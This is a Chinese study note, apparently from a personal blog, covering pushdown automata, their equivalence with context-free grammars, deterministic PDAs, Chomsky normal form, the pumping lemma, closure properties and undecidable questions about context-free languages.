<p>事实上,对于以终结方式接受的下推自动机,我们可以构造对应的以空栈方式接受的下推自动机。只需要使用新栈内初始字符,在原来的初始状态前增加一个状态,并且可以从这个新状态自动进入原来的初始状态并同时在栈内添加原来的栈内初始字符,然后从原来的终结状态可以自动进入另一个新状态,而在这个新状态内可以自动清空整个栈即可。这样原下推自动机以终结方式接受的串就会被新下推自动机以空栈方式接受,而其他的串不会被以空栈方式接受。特别的,原下推自动机不以终结方式接受的但是会清空栈的串,在新下推自动机中只会让栈中余下一个新的栈内初始字符。</p>
<p>反过来,对于以空栈方式接受的下推自动机,我们可以构造对应的以终结方式接受的下推自动机。只需要使用新栈内初始字符,在原来的初始状态前增加一个状态,并且可以从这个新状态自动进入原来的初始状态并同时在栈内添加原来的栈内初始字符,然后从原来的状态可以拿出新的栈内初始字符并进入另一个新的终结状态。这样原下推自动机以空栈方式接受的串就会被新下推自动机以终结方式接受,而其他的串不会被以空栈方式接受。事实上,一个串能被原下推自动机以空栈方式接受当且仅当这个串会让新下推自动机的栈中余下一个新的栈内初始字符,并随后进入终结状态。</p>
<p>一个不平凡的事实是,如果一个语言是上下文无关语言,也即有对应的上下文无关文法,那么它有对应的下推自动机。
事实上,我们可以这样构造文法对应的以空栈方式接受的下推自动机:我们的自动机只有一个状态,合法的栈内字符可以是文法中的所有字符和变元。初始时的栈内字符是文法的初始变元,而下推自动机可以自动地从栈中拿出一个变元并以逆序压入其对应的产生式右侧的串,或者接受一个字符并从栈中拿出对应的该字符。我们可以看出,此时下推自动机的运作方式等同于最左推导,因而结论成立。</p>
<p>另一个不那么平凡的结论是,如果一个语言有对应的下推自动机,那么它是上下文无关语言,也即有对应的上下文无关文法。</p>
<p>事实上,我们可以这样构造以空栈方式接受的下推自动机对应的文法:对于任意两个状态 p,q 和一个栈内字符 X,我们定义变元 [pXq],它对应的是能使自动机从 p 状态转移到 q 状态,并从栈内恰好取出 X 的串的集合。令 S 为初始变元。对于初始状态 p_0,栈内初始字符 Z 和任意状态 p,有 S→[p_0Zp]。而若下推自动机可以接受字符 a(或者是 ε 如果是自动的状态变化)从状态 p 转换到 q,并从栈中取出 X 并压入 Y_1Y_2…Y_k,那么对于任意状态 p_1,p_2…p_k,有 [pXp_k]→a[qY_1p_1][p_1Y_2p_2]…[p_{k-1}Y_kp_k]。特别的,k=0 时有 [pXq]→a 。这样我们就得到了对应的文法,很容易归纳证明其正确性。</p>
<p>这样我们就有,一个语言有对应的下推自动机当且仅当它是上下文无关语言,也即有对应的上下文无关文法。</p>
<h2 id="确定型下推自动机">确定型下推自动机</h2>
<p>如果下推自动机对于任何一个状态和栈顶字符的组合都只能自动转移至一个确定的新状态并确定地改变栈,或者接受一个字符并根据此字符转移至一个确定的新状态并确定地改变栈,那么这个下推自动机称为确定型下推自动机。
和有限自动机的情况不同的是,并非所有上下文无关语言都有对应的确定型下推自动机。甚至,以空栈方式接受的确定型下推自动机对应的语言类和以终结方式接受的确定型下推自动机对应的语言类是不同的。</p>
<p>以空栈方式接受的确定型下推自动机所接受的语言中不能有一个串是另一个串的前缀,事实上,由于确定型下推自动机的栈不能变空两次,这个结论是显然的。这导致甚至很多正则语言,没有对应的以空栈方式接受的确定型下推自动机。</p>
<p>以空栈方式接受的确定型下推自动机对应的语言一定有对应的以终结方式接受的确定型下推自动机。事实上,直接使用对于一般的下推自动机的构造就可以了。</p>
<p>另一方面,以终结方式接受的确定型下推自动机对应的语言只要满足其中没有一个串是另一个其中的串的前缀,就有对应的以空栈方式接受的确定型下推自动机。事实上,直接使用对于一般的下推自动机的构造,然后把原来的终结状态对应的转移全删掉就可以了。</p>
<p>于是,一个语言有以对应的空栈方式接受的确定型下推自动机当且仅当它有对应的以终结方式接受的确定型下推自动机并且其中没有一个串是另一个其中的串的前缀。</p>
<p>当然,以终结方式接受的确定型下推自动机可以直接模拟有限自动机,于是以终结方式接受的确定型下推自动机对应的语言类在正则语言和上下文无关语言之间。</p>
<p>另一方面,以空栈方式接受的确定型下推自动机对应的语言必然有无歧义文法。事实上,直接使用对于一般的下推自动机的构造即可。文法的无歧义性可以由下推自动机是确定的推得。而对于以终结方式接受的确定型下推自动机这个结论也成立。事实上,我们在原语言后面加上一个新字符,那么新语言当中没有一个串是另一个其中的串的前缀,于是就有对应的以空栈方式接受的确定型下推自动机从而无歧义,然后我们再把新字符变成变元,并且它只能推出空串,那么我们就能得出结论成立。</p>
<p>一些性质、结论、以及问题和解决方案
我们可以对文法进行一些等价变换,使得它满足一些性质。</p>
<p>首先我们可以去除推导中不可能用到的变元和字符,以及对应语言为空的变元。通过引用关系的有向图我们可以轻松的做到这一点。
其次我们可以仅仅以从语言中去除空串为代价,让文法中产生式右侧没有空串。我们可以递归地找到可以为空的变元,并将出现过它们的产生式改写为多个等价的产生式。</p>
<p>然后我们还可以去除像 A→B 这样的由一个变元推导到另一个变元的单位产生式。我们可以递归地找到所有的单位变元对,并增加它们的产生式来代替单位产生式。</p>
<p>最后,我们可以把所有产生式都变为 A→BC (A,B,C 为变元)或 A→a (A 为变元,a 为字符)的形式。首先我们进行上面的三种操作,其后我们对每个字符都构造第二种形式的产生式,并将有多余三个变元的产生式改写为第一种形式即可。</p>
<p>这样我们就构造出了(几乎)等价且符合乔姆斯基范式的文法。这时语言对应的语法分析树一定是二叉树。</p>
<p>需要注意的是,如果我们提前减小产生式的长度,产生乔姆斯基范式的速度会显著提高。</p>
<p>与正则语言类似,上下文无关语言也有泵引理。由于语言中串足够长的时候(大于最长产生式长度的变元数量次方)时,语法分析树的高度就会高于变元数量,那么必然有一个树上从根到叶的路径上有同一个变元出现了两次,于是考虑这两个相同的变元将语法分析树分隔成的各部分,便有:对任意的上下文无关语言,都存在常数 n,使得对其中的串 z,只要 z 的长度大于 n,就存在串 u,v,w,x,y 使得 z=uvwxy,vx不为空串,vwx 的长度不大于 n,以及对于任意的自然数 k,uvvv…vwxxx…xy(中间有 k 个 v 和 k 个 x)都属于这个语言。这个引理可以用来证明一些语言不是上下文无关语言。</p>
<p>上下文无关语言在如下的代入运算后还是上下文无关语言:将每一个字符都替换成对应的另一个上下文无关语言中的任意串。我们只需把原语言的产生式中的字符全部换成变元,并合并诸语言的文法即可。由此可以推出,上下文无关语言的并、连接、闭包、同态都是上下文无关语言。</p>
<p>上下文无关语言的反转也是上下文无关语言,只需把文法中的产生式也反转即可。</p>
<p>然而,上下文无关语言的交不一定是上下文无关语言。</p>
<p>正则语言与上下文无关语言的交是上下文无关语言,我们只需用下推自动机的状态模拟上下文无关语言的下推自动机的状态和正则语言的有限状态机的状态,用它的栈模拟上下文无关语言的下推自动机的栈即可。</p>
<p>上下文无关语言的逆同态也是上下文无关语言。我们用下推自动机模拟原语言的下推自动机的多步运行即可。需要注意的是,我们不能一步从栈里弹出多个字符,但是利用自动转移和额外状态我们还是可以做到这一点。</p>
<p>通过去除推导中不可能用到的变元和字符以及对应语言为空的变元的过程,我们可以判断文法对应的语言是否为空。</p>
<p>利用乔姆斯基范式以及动态规划我们可以测试一个串是否属于一个上下文无关语言。我们只需从短到长测试串的各个字串属于哪些变元的语言即可。</p>
<p>判断上下文无关文法是否有歧义,上下文无关语言是否有歧义,两个上下文无关语言交是否为空,两个上下文无关语言是否等价,某个上下文无关语言是否包含所有可能的串都是不可判定的。</p>
<h2 id="结尾">结尾</h2>
<p>以上就是上下文无关文法以及下推自动机相关的笔记。能读下来真是太感谢了……</p>
<p>下周就要考试了,在那之前作为复习来把第三部分写出来吧。</p>
<p>下一个笔记会是图灵机、问题类等等相关的内容,有兴趣的话欢迎来看。</p>benpigchu没错,这是第二部分。 以下就进入正题了。